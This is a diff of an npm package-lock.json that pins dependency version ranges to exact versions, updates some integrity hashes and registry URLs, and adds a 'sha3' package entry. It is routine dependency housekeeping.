-13900,10 +13895,10 @@ "integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=", "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "minimatch": "^3.0.2", - "readable-stream": "^2.0.2", - "set-immediate-shim": "^1.0.1" + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "readable-stream": "2.3.3", + "set-immediate-shim": "1.0.1" }, "dependencies": { "isarray": { @@ -13918,13 +13913,13 @@ "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.0.3", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "1.0.7", + "safe-buffer": "5.1.1", + "string_decoder": "1.0.3", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -13933,7 +13928,7 @@ "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -13945,9 +13940,9 @@ "dev": true, "requires": { "ast-types": "0.9.6", - "esprima": "~3.1.0", - "private": "~0.1.5", - "source-map": "~0.5.0" + "esprima": "3.1.3", + "private": "0.1.7", + "source-map": "0.5.6" }, "dependencies": { "esprima": { @@ -13964,8 +13959,8 @@ "integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=", "dev": true, "requires": { - "indent-string": "^2.1.0", - "strip-indent": "^1.0.1" + "indent-string": "2.1.0", + "strip-indent": "1.0.1" } }, "redux": { @@ -13973,8 +13968,8 @@ "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.1.tgz", "integrity": "sha512-R7bAtSkk7nY6O/OYMVR9RiBI+XghjF9rlbl5806HJbQph0LJVHZrU5oaO4q70eUKiqMRqm4y07KLTlMZ2BlVmg==", "requires": { - "loose-envify": "^1.4.0", - "symbol-observable": "^1.2.0" + "loose-envify": "1.4.0", + "symbol-observable": "1.2.0" }, "dependencies": { "loose-envify": { @@ -13982,7 +13977,7 @@ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "requires": { - "js-tokens": "^3.0.0 || ^4.0.0" + "js-tokens": "3.0.2" } } } @@ -14004,9 +13999,9 @@ "integrity": "sha1-On0GdSDLe3F2dp61/4aGkb7+EoM=", "dev": true, "requires": { - "babel-runtime": "^6.18.0", - "babel-types": "^6.19.0", - "private": "^0.1.6" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "private": "0.1.7" } }, "regex-cache": { @@ -14016,8 +14011,8 @@ "dev": true, "optional": true, "requires": { - "is-equal-shallow": "^0.1.3", - "is-primitive": "^2.0.0" + "is-equal-shallow": "0.1.3", + "is-primitive": "2.0.0" } }, "regex-not": { @@ -14026,8 +14021,8 @@ "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", "dev": true, "requires": { - "extend-shallow": "^3.0.2", - "safe-regex": "^1.1.0" + "extend-shallow": "3.0.2", + "safe-regex": "1.1.0" } }, "regexpp": { @@ -14042,9 +14037,9 @@ "integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=", "dev": true, "requires": { - "regenerate": "^1.2.1", - "regjsgen": "^0.2.0", - "regjsparser": "^0.1.4" + "regenerate": "1.3.2", + "regjsgen": "0.2.0", + "regjsparser": "0.1.5" } }, "regjsgen": { @@ -14059,7 +14054,7 @@ "integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=", "dev": true, "requires": { - "jsesc": "~0.5.0" + "jsesc": "0.5.0" }, "dependencies": { "jsesc": { @@ -14088,11 +14083,11 @@ "integrity": "sha1-iYyr/Ivt5Le5ETWj/9Mj5YwNsxk=", "dev": true, "requires": { - "css-select": "^1.1.0", - "dom-converter": "~0.1", - "htmlparser2": "~3.3.0", - "strip-ansi": "^3.0.0", - "utila": "~0.3" + "css-select": "1.2.0", + "dom-converter": "0.1.4", + "htmlparser2": "3.3.0", + "strip-ansi": "3.0.1", + "utila": "0.3.3" }, "dependencies": { "utila": { @@ -14121,7 +14116,7 @@ "integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=", "dev": true, "requires": { - "is-finite": "^1.0.0" + "is-finite": "1.0.2" } }, "request": { @@ -14130,28 +14125,28 @@ "integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==", "dev": true, "requires": { - "aws-sign2": "~0.7.0", - "aws4": "^1.6.0", - "caseless": "~0.12.0", - "combined-stream": "~1.0.5", - "extend": "~3.0.1", - "forever-agent": "~0.6.1", - "form-data": "~2.3.1", - "har-validator": "~5.0.3", - "hawk": "~6.0.2", - "http-signature": "~1.2.0", - "is-typedarray": "~1.0.0", - "isstream": "~0.1.2", - "json-stringify-safe": "~5.0.1", - "mime-types": "~2.1.17", - "oauth-sign": "~0.8.2", - "performance-now": "^2.1.0", - "qs": "~6.5.1", - "safe-buffer": "^5.1.1", - "stringstream": "~0.0.5", - "tough-cookie": "~2.3.3", - "tunnel-agent": "^0.6.0", - "uuid": "^3.1.0" + "aws-sign2": "0.7.0", + "aws4": "1.7.0", + "caseless": "0.12.0", + "combined-stream": "1.0.6", + "extend": "3.0.1", + "forever-agent": "0.6.1", + "form-data": "2.3.2", + "har-validator": "5.0.3", + "hawk": "6.0.2", + "http-signature": "1.2.0", + "is-typedarray": "1.0.0", + "isstream": "0.1.2", + "json-stringify-safe": "5.0.1", + "mime-types": "2.1.18", + "oauth-sign": "0.8.2", + "performance-now": "2.1.0", + "qs": "6.5.1", + "safe-buffer": "5.1.1", + "stringstream": "0.0.5", + "tough-cookie": "2.3.4", + "tunnel-agent": "0.6.0", + "uuid": "3.2.1" }, "dependencies": { "mime-db": { @@ -14166,7 +14161,7 @@ "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", "dev": true, "requires": { - "mime-db": "~1.33.0" + "mime-db": "1.33.0" } }, "qs": { @@ -14183,7 +14178,7 @@ "integrity": "sha1-XTa7V5YcZzqlt4jbyBQf3yO0Tgg=", "dev": true, "requires": { - "throttleit": "^1.0.0" + "throttleit": "1.0.0" } }, "require-directory": { @@ -14204,8 +14199,8 @@ "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=", "dev": true, "requires": { - "caller-path": "^0.1.0", - "resolve-from": "^1.0.0" + "caller-path": "0.1.0", + "resolve-from": "1.0.1" } }, "requires-port": { @@ -14220,7 +14215,7 @@ "integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=", "dev": true, "requires": { - "resolve-from": "^3.0.0" + "resolve-from": "3.0.0" }, "dependencies": { "resolve-from": { @@ -14240,7 +14235,7 @@ "resolve-pathname": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/resolve-pathname/-/resolve-pathname-2.2.0.tgz", - "integrity": "sha512-bAFz9ld18RzJfddgrO2e/0S2O81710++chRMUxHjXOYKF6jTAMrUNZrEZ1PvV0zlhfjidm08iRPdTLPno1FuRg==" + "integrity": "sha1-fpriHtgV/WOrGJre7mTcgx7vqHk=" }, "resolve-url": { "version": "0.2.1", @@ -14254,8 +14249,8 @@ "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", "dev": true, "requires": { - "onetime": "^2.0.0", - "signal-exit": "^3.0.2" + "onetime": "2.0.1", + "signal-exit": "3.0.2" } }, "ret": { @@ -14277,7 +14272,7 @@ "dev": true, "optional": true, "requires": { - "align-text": "^0.1.1" + "align-text": "0.1.4" } }, "rimraf": { @@ -14286,7 +14281,7 @@ "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==", "dev": true, "requires": { - "glob": "^7.0.5" + "glob": "7.1.3" } }, "ripemd160": { @@ -14295,8 +14290,8 @@ "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==", "dev": true, "requires": { - "hash-base": "^3.0.0", - "inherits": "^2.0.1" + "hash-base": "3.0.4", + "inherits": "2.0.3" } }, "run-async": { @@ -14305,7 +14300,7 @@ "integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=", "dev": true, "requires": { - "is-promise": "^2.1.0" + "is-promise": "2.1.0" } }, "run-queue": { @@ -14314,7 +14309,7 @@ "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=", "dev": true, "requires": { - "aproba": "^1.1.1" + "aproba": "1.2.0" } }, "rxjs": { @@ -14323,13 +14318,13 @@ "integrity": "sha512-JTWmoY9tWCs7zvIk/CvRjhjGaOd+OVBM987mxFo+OW66cGpdKjZcpmc74ES1sB//7Kl/PAe8+wEakuhG4pcgOw==", "dev": true, "requires": { - "tslib": "^1.9.0" + "tslib": "1.9.3" } }, "safe-buffer": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", - "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==", + "integrity": "sha1-iTMSr2myEj3vcfV4iQAWce6yyFM=", "dev": true }, "safe-regex": { @@ -14338,7 +14333,7 @@ "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", "dev": true, "requires": { - "ret": "~0.1.10" + "ret": "0.1.15" } }, "safer-buffer": { @@ -14352,8 +14347,8 @@ "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.11.2.tgz", "integrity": "sha512-+WCP3s3wOaW4S7C1tl3TEXp4l9lJn0ZK8G3W3WKRWmw77Z2cIFUW2MiNTMHn5sCjxN+t7N43HAOOgMjyAg5hlg==", "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1" + "loose-envify": "1.3.1", + "object-assign": "4.1.1" } }, "schema-utils": { @@ -14362,8 +14357,8 @@ "integrity": "sha512-v/iwU6wvwGK8HbU9yi3/nhGzP0yGSuhQMzL6ySiec1FSrZZDkhm4noOSWzrNFo/jEc+SJY6jRTwuwbSXJPDUnQ==", "dev": true, "requires": { - "ajv": "^6.1.0", - "ajv-keywords": "^3.1.0" + "ajv": "6.5.2", + "ajv-keywords": "3.2.0" } }, "select-hose": { @@ -14394,18 +14389,18 @@ "dev": true, "requires": { "debug": "2.6.9", - "depd": "~1.1.2", - "destroy": "~1.0.4", - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "etag": "~1.8.1", + "depd": "1.1.2", + "destroy": "1.0.4", + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "etag": "1.8.1", "fresh": "0.5.2", - "http-errors": "~1.6.2", + "http-errors": "1.6.3", "mime": "1.4.1", "ms": "2.0.0", - "on-finished": "~2.3.0", - "range-parser": "~1.2.0", - "statuses": "~1.4.0" + "on-finished": "2.3.0", + "range-parser": "1.2.0", + "statuses": "1.4.0" }, "dependencies": { "debug": { @@ -14443,13 +14438,13 @@ "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=", "dev": true, "requires": { - "accepts": "~1.3.4", + "accepts": "1.3.5", "batch": "0.6.1", "debug": "2.6.9", - "escape-html": "~1.0.3", - "http-errors": "~1.6.2", - "mime-types": "~2.1.17", - "parseurl": "~1.3.2" + "escape-html": "1.0.3", + "http-errors": "1.6.3", + "mime-types": "2.1.20", + "parseurl": "1.3.2" }, "dependencies": { "debug": { @@ -14473,7 +14468,7 @@ "integrity": "sha512-HrkrPaP9vGuWbLK1B1FfgAkbqNjIuy4eHlIYnFi7kamZyLLrGlo2mpcx0bBmNpKqBtYtAfGbodDddIgddSJC2A==", "dev": true, "requires": { - "mime-db": "~1.36.0" + "mime-db": "1.36.0" } } } @@ -14484,9 +14479,9 @@ "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", "dev": true, "requires": { - "encodeurl": "~1.0.2", - "escape-html": "~1.0.3", - "parseurl": "~1.3.2", + "encodeurl": "1.0.2", + "escape-html": "1.0.3", + "parseurl": "1.3.2", "send": "0.16.2" } }, @@ -14508,10 +14503,10 @@ "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", "dev": true, "requires": { - "extend-shallow": "^2.0.1", - "is-extendable": "^0.1.1", - "is-plain-object": "^2.0.3", - "split-string": "^3.0.1" + "extend-shallow": "2.0.1", + "is-extendable": "0.1.1", + "is-plain-object": "2.0.4", + "split-string": "3.1.0" }, "dependencies": { "extend-shallow": { @@ -14520,7 +14515,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -14539,12 +14534,31 @@ }, "sha.js": { "version": "2.4.11", - "resolved": "http://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", + "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz", "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==", "dev": true, "requires": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" + "inherits": "2.0.3", + "safe-buffer": "5.1.1" + } + }, + "sha3": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sha3/-/sha3-2.0.0.tgz", + "integrity": "sha512-20U15KDnIWrpJDSQ8o1i1C+dH3g/c08DYXyS2/wIfbErDn6pbw8rvYCwJvFH5OO3ZwwNNy0NVcua7Cxdd2RBnA==", + "requires": { + "buffer": "5.2.1" + }, + "dependencies": { + "buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.2.1.tgz", + "integrity": "sha512-c+Ko0loDaFfuPWiL02ls9Xd3GO3cPVmUobQ6t3rXNUk304u6hGq+8N/kFi+QEIKhzK3uwolVhLzszmfLmMLnqg==", + "requires": { + "base64-js": "1.3.0", + "ieee754": "1.1.12" + } + } } }, "shallowequal": { @@ -14559,7 +14573,7 @@ "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", "dev": true, "requires": { - "shebang-regex": "^1.0.0" + "shebang-regex": "1.0.0" } }, "shebang-regex": { @@ -14586,7 +14600,7 @@ "integrity": "sha512-POqxBK6Lb3q6s047D/XsDVNPnF9Dl8JSaqe9h9lURl0OdNqy/ujDrOiIHtsqXMGbWWTIomRzAMaTyawAU//Reg==", "dev": true, "requires": { - "is-fullwidth-code-point": "^2.0.0" + "is-fullwidth-code-point": "2.0.0" } }, "snapdragon": { @@ -14595,14 +14609,14 @@ "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", "dev": true, "requires": { - "base": "^0.11.1", - "debug": "^2.2.0", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "map-cache": "^0.2.2", - "source-map": "^0.5.6", - "source-map-resolve": "^0.5.0", - "use": "^3.1.0" + "base": "0.11.2", + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "map-cache": "0.2.2", + "source-map": "0.5.6", + "source-map-resolve": "0.5.2", + "use": "3.1.1" }, "dependencies": { "define-property": { @@ -14611,7 +14625,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } }, "extend-shallow": { @@ -14620,7 +14634,7 @@ "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, "requires": { - "is-extendable": "^0.1.0" + "is-extendable": "0.1.1" } } } @@ -14631,9 +14645,9 @@ "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", "dev": true, "requires": { - "define-property": "^1.0.0", - "isobject": "^3.0.0", - "snapdragon-util": "^3.0.1" + "define-property": "1.0.0", + "isobject": "3.0.1", + "snapdragon-util": "3.0.1" }, "dependencies": { "define-property": { @@ -14642,7 +14656,7 @@ "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, "requires": { - "is-descriptor": "^1.0.0" + "is-descriptor": "1.0.2" } }, "is-accessor-descriptor": { @@ -14651,7 +14665,7 @@ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-data-descriptor": { @@ -14660,7 +14674,7 @@ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, "requires": { - "kind-of": "^6.0.0" + "kind-of": "6.0.2" } }, "is-descriptor": { @@ -14669,9 +14683,9 @@ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" } }, "isobject": { @@ -14694,7 +14708,7 @@ "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", "dev": true, "requires": { - "kind-of": "^3.2.0" + "kind-of": "3.2.2" } }, "sntp": { @@ -14703,7 +14717,7 @@ "integrity": "sha512-FL1b58BDrqS3A11lJ0zEdnJ3UOKqVxawAkF3k7F0CVN7VQ34aZrV+G8BZ1WC9ZL7NyrwsW0oviwsWDgRuVYtJg==", "dev": true, "requires": { - "hoek": "4.x.x" + "hoek": "4.2.1" } }, "socket.io": { @@ -14712,12 +14726,12 @@ "integrity": "sha512-rORqq9c+7W0DAK3cleWNSyfv/qKXV99hV4tZe+gGLfBECw3XEhBy7x85F3wypA9688LKjtwO9pX9L33/xQI8yA==", "dev": true, "requires": { - "debug": "~3.1.0", - "engine.io": "~3.2.0", - "has-binary2": "~1.0.2", - "socket.io-adapter": "~1.1.0", + "debug": "3.1.0", + "engine.io": "3.2.0", + "has-binary2": "1.0.3", + "socket.io-adapter": "1.1.1", "socket.io-client": "2.1.1", - "socket.io-parser": "~3.2.0" + "socket.io-parser": "3.2.0" }, "dependencies": { "debug": { @@ -14747,15 +14761,15 @@ "base64-arraybuffer": "0.1.5", "component-bind": "1.0.0", "component-emitter": "1.2.1", - "debug": "~3.1.0", - "engine.io-client": "~3.2.0", - "has-binary2": "~1.0.2", + "debug": "3.1.0", + "engine.io-client": "3.2.1", + "has-binary2": "1.0.3", "has-cors": "1.1.0", "indexof": "0.0.1", "object-component": "0.0.3", "parseqs": "0.0.5", "parseuri": "0.0.5", - "socket.io-parser": "~3.2.0", + "socket.io-parser": "3.2.0", "to-array": "0.1.4" }, "dependencies": { @@ -14777,7 +14791,7 @@ "dev": true, "requires": { "component-emitter": "1.2.1", - "debug": "~3.1.0", + "debug": "3.1.0", "isarray": "2.0.1" }, "dependencies": { @@ -14804,8 +14818,8 @@ "integrity": "sha512-V48klKZl8T6MzatbLlzzRNhMepEys9Y4oGFpypBFFn1gLI/QQ9HtLLyWJNbPlwGLelOVOEijUbTTJeLLI59jLw==", "dev": true, "requires": { - "faye-websocket": "^0.10.0", - "uuid": "^3.0.1" + "faye-websocket": "0.10.0", + "uuid": "3.2.1" } }, "sockjs-client": { @@ -14814,12 +14828,12 @@ "integrity": "sha1-G7fA9yIsQPQq3xT0RCy9Eml3GoM=", "dev": true, "requires": { - "debug": "^2.6.6", + "debug": "2.6.8", "eventsource": "0.1.6", - "faye-websocket": "~0.11.0", - "inherits": "^2.0.1", - "json3": "^3.3.2", - "url-parse": "^1.1.8" + "faye-websocket": "0.11.1", + "inherits": "2.0.3", + "json3": "3.3.2", + "url-parse": "1.4.3" }, "dependencies": { "faye-websocket": { @@ -14828,7 +14842,7 @@ "integrity": "sha1-8O/hjE9W5PQK/H4Gxxn9XuYYjzg=", "dev": true, "requires": { - "websocket-driver": ">=0.5.1" + "websocket-driver": "0.7.0" } } } @@ -14851,11 +14865,11 @@ "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", "dev": true, "requires": { - "atob": "^2.1.1", - "decode-uri-component": "^0.2.0", - "resolve-url": "^0.2.1", - "source-map-url": "^0.4.0", - "urix": "^0.1.0" + "atob": "2.1.1", + "decode-uri-component": "0.2.0", + "resolve-url": "0.2.1", + "source-map-url": "0.4.0", + "urix": "0.1.0" } }, "source-map-support": { @@ -14864,7 +14878,7 @@ "integrity": "sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA==", "dev": true, "requires": { - "source-map": "^0.5.6" + "source-map": "0.5.6" } }, "source-map-url": { @@ -14879,8 +14893,8 @@ "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", "dev": true, "requires": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" + "spdx-expression-parse": "3.0.0", + "spdx-license-ids": "3.0.0" } }, "spdx-exceptions": { @@ -14895,8 +14909,8 @@ "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", "dev": true, "requires": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" + "spdx-exceptions": "2.1.0", + "spdx-license-ids": "3.0.0" } }, "spdx-license-ids": { @@ -14911,12 +14925,12 @@ "integrity": "sha1-Qv9B7OXMD5mjpsKKq7c/XDsDrLw=", "dev": true, "requires": { - "debug": "^2.6.8", - "handle-thing": "^1.2.5", - "http-deceiver": "^1.2.7", - "safe-buffer": "^5.0.1", - "select-hose": "^2.0.0", - "spdy-transport": "^2.0.18" + "debug": "2.6.8", + "handle-thing": "1.2.5", + "http-deceiver": "1.2.7", + "safe-buffer": "5.1.1", + "select-hose": "2.0.0", + "spdy-transport": "2.1.0" } }, "spdy-transport": { @@ -14925,13 +14939,13 @@ "integrity": "sha512-bpUeGpZcmZ692rrTiqf9/2EUakI6/kXX1Rpe0ib/DyOzbiexVfXkw6GnvI9hVGvIwVaUhkaBojjCZwLNRGQg1g==", "dev": true, "requires": { - "debug": "^2.6.8", - "detect-node": "^2.0.3", - "hpack.js": "^2.1.6", - "obuf": "^1.1.1", - "readable-stream": "^2.2.9", - "safe-buffer": "^5.0.1", - "wbuf": "^1.7.2" + "debug": "2.6.8", + "detect-node": "2.0.4", + "hpack.js": "2.1.6", + "obuf": "1.1.2", + "readable-stream": "2.3.6", + "safe-buffer": "5.1.1", + "wbuf": "1.7.3" }, "dependencies": { "isarray": { @@ -14948,17 +14962,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -14967,7 +14981,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -14978,7 +14992,7 @@ "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", "dev": true, "requires": { - "extend-shallow": "^3.0.0" + "extend-shallow": "3.0.2" } }, "sprintf-js": { @@ -14993,14 +15007,14 @@ "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", "dev": true, "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "tweetnacl": "~0.14.0" + "asn1": "0.2.3", + "assert-plus": "1.0.0", + "bcrypt-pbkdf": "1.0.1", + "dashdash": "1.14.1", + "ecc-jsbn": "0.1.1", + "getpass": "0.1.7", + "jsbn": "0.1.1", + "tweetnacl": "0.14.5" } }, "ssri": { @@ -15009,7 +15023,7 @@ "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", "dev": true, "requires": { - "safe-buffer": "^5.1.1" + "safe-buffer": "5.1.1" } }, "static-extend": { @@ -15018,8 +15032,8 @@ "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", "dev": true, "requires": { - "define-property": "^0.2.5", - "object-copy": "^0.1.0" + "define-property": "0.2.5", + "object-copy": "0.1.0" }, "dependencies": { "define-property": { @@ -15028,7 +15042,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "^0.1.0" + "is-descriptor": "0.1.6" } } } @@ -15045,8 +15059,8 @@ "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=", "dev": true, "requires": { - "inherits": "~2.0.1", - "readable-stream": "^2.0.2" + "inherits": "2.0.3", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -15063,17 +15077,17 @@ }, "readable-stream": { "version": "2.3.6", - "resolved": "http://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" } }, "string_decoder": { @@ -15082,7 +15096,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "~5.1.0" + "safe-buffer": "5.1.1" } } } @@ -15093,8 +15107,8 @@ "integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==", "dev": true, "requires": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" } }, "stream-http": { @@ -15103,11 +15117,11 @@ "integrity": 